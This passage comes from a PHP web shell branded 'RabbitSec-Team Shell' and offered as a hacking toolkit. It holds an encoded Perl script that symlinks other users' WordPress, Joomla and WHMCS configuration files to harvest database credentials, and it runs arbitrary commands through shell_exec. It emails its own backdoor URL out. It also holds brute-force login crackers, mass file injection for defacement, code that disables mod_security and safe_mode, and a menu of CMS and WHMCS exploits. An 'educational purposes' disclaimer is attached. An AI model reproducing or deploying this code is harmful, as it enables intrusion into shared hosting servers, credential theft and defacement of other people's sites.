3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJ3dwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nam9vbWxhLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLidqb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nam9vbWxhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJzIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLicyMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLicyMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJzI0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nMjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLicyNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLicyNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLicyOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nMjkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLiczMC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wb3J0YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50YXJlYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb2R1Y3QvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3RyaWFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teWFjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQoNCn0NCg0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQogIHJlYWQoU1RESU4sICRidWZmZXIsICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KfSBlbHNlIHsNCiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KfQ0KQHBhaXJzID0gc3BsaXQoLyYvLCAkYnVmZmVyKTsNCmZvcmVhY2ggJHBhaXIgKEBwYWlycykgew0KICAoJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiAgJG5hbWUgPX4gdHIvKy8gLzsNCiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJHZhbHVlID1+IHRyLysvIC87DQogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkRk9STXskbmFtZX0gPSAkdmFsdWU7DQp9DQppZiAoJEZPUk17cGFzc30gZXEgIiIpew0KcHJpbnQgJw0KPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8aDE+PGk+PHU+LS09W1sgRE0gVEU0TSBdXT0tLTwvdT48L2k+PC9oMT4NCjxiciAvPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjJweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQyMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGRkZGRiIgID48L3RleHRhcmVhPjxiciAvPg0KJm5ic3A7PHA+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGRkZGRjsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IiBIQUpBUiBDT1kgIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojRkZGRkZGOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDIiAvPjwvcD4NCjwvZm9ybT48YnIgLz48YnIgLz4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8cD5TRUxFU0FJIEJPUyB8fCBDRUsgRk9MREVSIElNQUdFUzwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5Eb3dubG9hZCBUYXIgRmlsZTwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7";
1821$write = fwrite($f2 ,base64_decode($sml_perl));
1822if($write)
1823{@chmod('image/anu.pl',0755);}
1824echo "<center><iframe src=image/anu.pl width=96% height=126% frameborder=0></iframe></div>";
1825}
1826}
1827
1828## ***** x=dmwp ***** ##
1829elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwp')) {
1830// wordpress bruteforce
1831// wordpress index changer
1832// wordpress password changer
1833
1834echo '<center><br/><br/><img src="http://s.wordpress.org/about/images/logos/wordpress-logo-hoz-rgb.png"><br/><br/> <nobr><b><span class="b7">O=:[ WORDPRESS</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1835<div id="menu" align="center"><table><tr>
1836<td align=center><b><a href="?dm='.$pwd.'&x=wp1">WP BRUTEFORCE</a></b></td>
1837<td align=center><b><a href="?dm='.$pwd.'&x=wp2">WP AUTO DEFACE</a></b></td>
1838<td align=center><b><a href="?dm='.$pwd.'&x=wp3">WP PASSWORD CHANGER</a></b></td>
1839</tr></table></div><br/>';
1840}
1841
1842## ***** x=dmvb ***** ##
1843elseif(isset($_GET['x']) && ($_GET['x'] == 'dmvb')) {
1844// vbullettin index changer
1845// vbulletin password changer
1846
1847echo '<center><br/><br/>
1848<img src="http://forum.paradoxplaza.com/forum/images/mobile/vbulletin-logo.png"><br/><br/><nobr><b><span class="b7">O=:[ VBULLETIN</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1849<div id="menu" align="center"><table><tr>
1850<td align=center><b><a href="?dm='.$pwd.'&x=vb1">VB INDEX CHANGER</a></b></td>
1851<td align=center><b><a href="?dm='.$pwd.'&x=vb2">VB PASSWORD CHANGER</a></b></td>
1852</tr></table></div><br/>';
1853}
1854
1855## ***** x=dmjm ***** ##
1856elseif(isset($_GET['x']) && ($_GET['x'] == 'dmjm')) {
1857// joomla bruteforce
1858// exploit joomla jce uploader
1859// joomla password changer
1860
1861echo '<center><br/><br/><img src="http://www.payingdialer.com/images/joomla-logo.png"><br/><br/> <nobr><b><span class="b7">O=:[ JOOMLA</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1862<div id="menu" align="center"><table><tr>
1863<td align=center><b><a href="?dm='.$pwd.'&x=jm1">BRUTEFORCE LOGIN</a></b></td>
1864<td align=center><b><a href="?dm='.$pwd.'&x=jm2">INDEX DEFACE</a></b></td>
1865<td align=center><b><a href="?dm='.$pwd.'&x=jm3">JCE UPLOADER</a>
1866</b></td>
1867<td align=center><b><a href="?dm='.$pwd.'&x=jm4">PASSWORD CHANGER</a></b></td>
1868</tr></table></div><br/>';
1869}
1870
1871## ***** x=whmcs2 ***** ##
1872elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs2')) {
1873// whmcs inject shell
1874// whmcs bypass security token
1875// whmcs password changer
1876// whmcs auto exploiter
1877
1878echo '<center><br/><br/><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"><br/><br/><nobr><b><span class="b7">O=:[ WHMCS</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1879<div id="menu" align="center"><table><tr>
1880<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs1">GRAB PASSWORD CLIENT</a></b></td>
1881<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs2">INJECT SHELL</a></b></td>
1882<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs3">PASSWORD CHANGER</a></b></td>
1883<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs4">BYPASS AUTH LOGIN</a></b></td>
1884</tr></table></div><br/>
1885<div id="menu" align="center"><table><tr>
1886<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs5">WHMCS 5.2.7 [php]</a></b></td>
1887<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs6">WHMCS 5.2.7 [python]</a></b></td>
1888<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs7">WHMCS 5.28 [php]</a></b></td>
1889<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs8">WHMCS 5.2.8 [python]</a></b></td>
1890</tr></table></div><br/>
1891
1892<div id="menu" align="center"><table><tr>
1893<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs9">CHECK LICENSE & VERSION</a></b></td>
1894<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs10">v5.2.7 VULN SCANNER</a></b></td>
1895<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs11">SCAN CMS WHMCS</a></b></td>
1896</table></div><br/><br/> ';
1897}
1898
1899## ***** x=cpanel ***** ##
1900elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel')) {
1901// cpanel bruteforce
1902// cpanel mass deface
1903// cpanel bruteforce using config
1904
1905echo '<center><br/><br/><img src="http://earthnexus.com/images/cpanel_logo.gif"><br/><br/> <nobr><b><span class="b7">O=:[ CPANEL</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1906<div id="menu" align="center"><table><tr>
1907<td align=center><b><a href="?dm='.$pwd.'&x=cp1">BRUTEFORCE CP LOGIN</a></b></td>
1908<td align=center><b><a href="?dm='.$pwd.'&x=cp2">BRUTEFORCE CP AUTO DEFACE</a></b></td>
1909<td align=center><b><a href="?dm='.$pwd.'&x=cp3">BRUTEFORCE CONFIG CP </a></b></td>
1910
1911</tr></table></div><br/>';
1912}
1913
1914## ***** x=iis7 ***** ##
1915elseif(isset($_GET['x']) && ($_GET['x'] == 'iis7')) {
1916
1917echo '<center><br/><br/><img src="http://www.codeblog.co.uk/wp-content/uploads/2010/06/iis7-300x215.jpg"><br/><br/> <nobr><b><span class="b7">O=:[ WINDOWS IIS7</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1918<div id="menu" align="center"><table><tr>
1919
1920<td align=center><b><a href="?dm='.$pwd.'&x=iis7httpd">HTTPD EXPLOIT</a></b></td>
1921<td align=center><b><a href="?dm='.$pwd.'&x=iis7port">PORT EXPLOIT</a></b></td>
1922</tr></table></div><br/>';
1923}
1924
1925
1926# x=posisi
1927elseif(isset($_GET['x']) && ($_GET['x'] == 'posisi')) {
1928
1929function curPageURL() {
1930$pageURLe = 'http';
1931if($_SERVER["HTTPS"] == "on"){
1932$pageURL .= "s";
1933}
1934$pageURLe .= "://";
1935if ($_SERVER["SERVER_PORT"] != "80") {
1936$pageURLe .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
1937} else {
1938$pageURLe .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
1939}
1940return $pageURLe;
1941}
1942$votremail=$_SERVER['SERVER_ADMIN'];
1943$objet='BACKDOOR SHELL';
1944$message=curPageURL();
1945$headers='From:'.$votremail."\r\n".'To:'.$destinataire."\r\n".'Subject:'.$objet."\r\n".'Content-type:text/plain;charset=iso-8859-1'."\r\n".'Sent:'.date('l, F d, Y H:i');
1946if(mail($destination,$objet,$message,$headers))
1947{
1948echo "<br><center><b></b><br/><p><b>[+] $destination [+]</b><center>";}
1949else
1950{
1951echo "<br><center><font size=4 color=red>Error Saving Backdoor</font><center>";
1952}
1953}
1954else if(isset($_POST['executecmd']))
1955{
1956$check = shell_exec($_POST['mycmd']);
1957echo "<textarea cols=120 rows=20 class=box>" . $check . "</textarea>";
1958}
1959
1960
1961elseif(isset($_GET['x']) && ($_GET['x'] == 'inject')){
1962?>
1963<center><table id="margins" >
1964<tr>
1965<form method='POST'><input type="hidden" name="injector"/>
1966<tr><td width="30" class="title">
1967DIR : <input class="inputz" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>"/></td></tr>
1968<tr><td class="title">
1969Mode : <select class="inputz" name="mode" style="width:130px;">
1970<option value="Apender">SEMI INJECT</option>
1971<option value="Overwriter">FULL Inject</option>
1972</select></td></tr>
1973<tr><td class="title">
1974File Type : <input type="text" class="inputz" name="filetype" value=".php" onBlur="if(this.value=='')this.value='.php';"/></td></tr>
1975<tr><td colspan="2">
1976<textarea name="injectthis" cols="110" rows="10" class="inputz">
1977<?php echo base64_decode("PGh0bWw+DQo8aGVhZD48dGl0bGU+Li9INENLM0QgQlkgRzRudDNuRzNyejwvdGl0bGU+PC9oZWFkPg0KPGJvZHk+DQpURVJJTUEgS0FTSUggR1VFIEdBTlRFTkcgOnYNCjwvYm9keT4NCjwvaHRtbD4="); ?>
1978</textarea></td></tr>
1979<tr><td rowspan="2">
1980<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="inputz" value=" INJECT CODE :P "/></td></tr>
1981</form></table></center>
1982
1983
1984
1985<?php
1986}
1987# x=bforce1
1988elseif(isset($_GET['x']) && ($_GET['x'] == 'bruteforce'))
1989{
1990
1991$f =@fopen ('users.txt','w');
1992if(!$users=get_users()) {
1993echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>";
1994}
1995else {
1996foreach($users as $user) {
1997@fwrite($f , $user);
1998@fwrite($f , "\n");
1999}
2000}
2001echo '<br><center><font size=3 color=green>[+] BUKA users.txt <a href=dmshell.txt target=blank>_DISINI_</a> COPY & PASTE DI KOLOM USER [+]</font></center><BR>';
2002 ?>
2003
2004<form method="POST" target="_self">
2005
2006<input name="page" type="hidden" value="find">
2007<table width="33%" cellpadding="3" cellspacing="1" align="center">
2008<tr>
2009<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
2010<strong>User :</strong></td>
2011<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="usernames"></textarea></strong></td>
2012</tr>
2013<tr>
2014<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
2015<strong>Pass :</strong></td>
2016<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="passwords"></textarea></strong></td>
2017</tr>
2018<tr>
2019<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
2020<strong>Type :</strong></td>
2021<td valign="top" bgcolor="#151515" colspan="5">
2022<span class="style2"><strong>Simple : </strong> </span>
2023<strong>
2024<input class="inputz" type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
2025<font class="style2"><strong>/etc/passwd : </strong> </font>
2026<strong>
2027<input class="inputz" type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
2028</strong>
2029</span>
2030</td></tr>
2031<tr>
2032<td valign="top" bgcolor="#151515" style="width: 139px"></td>
2033<td valign="top" bgcolor="#151515" colspan="5"><strong><input class="inputz" type="submit" value="_START CRACK _"></strong>
2034</td><tr></form>
2035
2036
2037<?php
2038if(isset($_POST['usernames']) && isset($_POST['passwords']))
2039{
2040if($_POST['type'] == 'passwd'){
2041
2042$e = explode("\n",$_POST['usernames']);
2043foreach($e as $value){
2044$k = explode(":",$value);
2045$username .= $k['0']." ";
2046}
2047}
2048elseif($_POST['type'] == 'simple'){
2049$username = str_replace("\n",' ',$_POST['usernames']);
2050}
2051$a1 = explode(" ",$username);
2052$a2 = explode("\n",$_POST['passwords']);
2053$id2 = count($a2);
2054$ok = 0;
2055foreach($a1 as $user )
2056{
2057if($user !== '')
2058{
2059$user=trim($user);
2060for($i=0;$i<=$id2;$i++)
2061{
2062$pass = trim($a2[$i]);
2063if(@mysql_connect('localhost',$user,$pass))
2064{
2065echo "[+] Username ( <b><font color=green>$user</font></b> ) Password ( <b><font color=green>$pass</font></b> ) [+]<br />";
2066$ok++;
2067}
2068}
2069}
2070}
2071echo "<hr><b>DAPAT <font color=green>$ok</font> Cpanel</b>";
2072echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
2073exit;
2074}
2075}
2076
2077# x=safemodeoff
2078elseif(isset($_GET['x']) && ($_GET['x'] == 'safemodeoff')) {
2079$file_pointer = fopen(".htaccess", "w+");
2080fwrite($file_pointer, "<IfModule mod_security.c>
2081SecFilterEngine Off
2082SecFilterScanPOST Off
2083</IfModule>");
2084
2085$file_pointer = fopen("ini.php", "w+");
2086fwrite($file_pointer, "<?
2087echo ini_get(\"safe_mode\");
2088echo ini_get(\"open_basedir\");
2089include(\$_GET[\"file\"]);
2090ini_restore(\"safe_mode\");
2091ini_restore(\"open_basedir\");
2092echo ini_get(\"safe_mode\");
2093echo ini_get(\"open_basedir\");
2094include(\$_GET[\"ss\"]);
2095?>");
2096
2097$file_pointer = fopen("php.ini", "w+");
2098fwrite($file_pointer, "safe_mode = Off");
2099fwrite($file_pointer, "\n disable_functions = NONE");
2100fclose($file_pointer);
2101echo "<center>[+] Safe Mode Off Succesfully [+]</center>";
2102?>
2103
2104<?php }
2105// x=arabportal
2106elseif(isset($_GET['x']) && ($_GET['x'] == 'arabportal')){
2107
2108?>
2109<form action="?dm=<?php echo $pwd; ?>&x=arabportal" method="post">
2110
2111 <?php
2112echo "<br/><br/><nobr><b><span class='b7'>O=:[ BRUTEFORCE</span> <span class='b8'>ARAB PORTAL ]:=O</span></b></nobr><br/><br/> <form method='POST'>
2113<p align='center' dir='ltr'> <input type='text' value='http://target.com/arabportal/' name='target' size='45'>
2114<input type='text' value='admin' name='username'>
2115<br><input type='submit' value='Start Brute'>
2116</p>";
2117$site = $_POST['target']."/admin/";
2118$username = $_POST['username'];
2119# Passwords
2120$passwords = array('123456','123654','123123','112233','123321','102030','123451','123456789','654321','654123','123qwe','qwerty','azerty','123450','123412','121314','132132','132123','123132','123012');
2121
2122function brute($site,$username,$password)
2123{
2124$curl = curl_init();
2125curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
2126curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
2127curl_setopt($curl,CURLOPT_URL, $site);
2128curl_setopt($curl,CURLOPT_POSTFIELDS,"user_name={$username}&user_pass={$password}");
2129@curl_setopt($curl,CURLOPT_COOKIEJAR,"cookie.txt");
2130@curl_setopt($curl,CURLOPT_COOKIEFILE,"cookie.txt");
2131$brute = curl_exec($curl);
2132if(eregi('<p align="center"><b><font size="4" color="#FFFFFF">', $brute))
2133{
2134echo "<center><b><font face='Tahoma' size='2'>[+] Cracked Username
2135: <font color='#FF0000'>{$username}</font> & Password : <font color='#FF0000'>{$password}</font></font></b>";
2136}
2137return $brute;
2138}
2139foreach($passwords as $password)
2140{
2141brute($site,$username,$password);
2142}
2143echo "</form>";
2144?>
2145
2146 <?php }
2147// x=about
2148elseif(isset($_GET['x']) && ($_GET['x'] == 'about')){
2149?>
2150<form action="?dm=<?php echo $pwd; ?>&x=about" method="post">
2151
2152<?php
2153echo "<div align='center'><br><br>
2154<table class='tabnet' style='padding:0 1px;'>
2155<tr><th align='center'><b>DISCLAIMER</b></th></tr>
2156<tr><td align='left'><nobr>
2157<span class='b12'>THIS TOOL WAS WRITTEN FOR
2158EDUCATIONAL PURPOSES.</span></nobr></td></tr>
2159<tr><td align='left'><nobr>
2160<span class='b12'>ONLY USE THIS TOOL ON WEBSITES YOU ARE ALLOWED TO TEST.</span></nobr></td></tr>
2161<tr><td align='left'><nobr>
2162<span class='b12'> IF YOU DON'T AGREE WITH WHAT I
2163SAID, PLEASE DON'T USE THIS TOOL.</span></td></tr>
2164<tr><td align='left'><nobr>
2165<span class='b12'> THE AUTHOR CANNOT AND WILL NOT IN ANY WAY LIABLE FOR ANY LOSS OR
2166 DAMAGE ARISING WITH THE USE OF THIS TOOL. </span></nobr></td></tr>
2167<tr><td align='left'><nobr>
2168<span class='b12'>USE IT UNDER YOUR OWN RISK !!!!!!</span>
2169</nobr></td></tr>
2170<tr><td align='left'><nobr>
2171<span class='b12'>THANKS...</span>
2172</nobr></td></tr>
2173</table><br><br>
2174</html>";
2175echo "<div align='center'><br><br>
2176<table class='tabnet' style='padding:0 1px;'>
2177<tr><th align='center'><b>ABOUT RabbitSec-Team Shell</b></th></tr>
2178<tr>
2179<td>
2180<table border=1>
2181<tr>
2182<td>Author</td>
2183<td>XnonGermx</td>
2184</tr>
2185<tr>
2186<td>Design</td>
2187<td>XnonGermx</td>
2188</tr>
2189<tr>
2190<td>Adding Exploit</td>
2191<td>XnonGermx</td>
2192</tr>
2193<tr>
2194<td>Basic Shell</td>
2195<td>b374k m1n1 PHP Shell</td>
2196</tr>
2197<tr>
2198<td>Bypass Symlink</td>
2199<td><nobr>Thanks to Mauritania, Mr.Alasaek,Lagripe-Dz, PakCyber, BD Cyber Army</nobr></td>
2200</tr>
2201<tr>
2202<td>Whmcs Exploit</td>
2203<td><nobr>Thanks to Rab3oun, g00n, theMaster,Lagripe-Dz, X3group</nobr></td>
2204</tr>
2205<tr>
2206<td>WP Exploit</td>
2207<td>Thanks to XTTG, Lagripe-Dz</td>
2208</tr>
2209<tr>
2210<td>Joomla Exploit</td>
2211<td>Thanks to XTTG, Lagripe-Dz</td>
2212</tr>
2213<tr>
2214<td>VB Exploit</td>
2215<td>Thanks to Tryag</td>
2216</tr>
2217<tr>
2218<td>Config Killer Exploit</td>
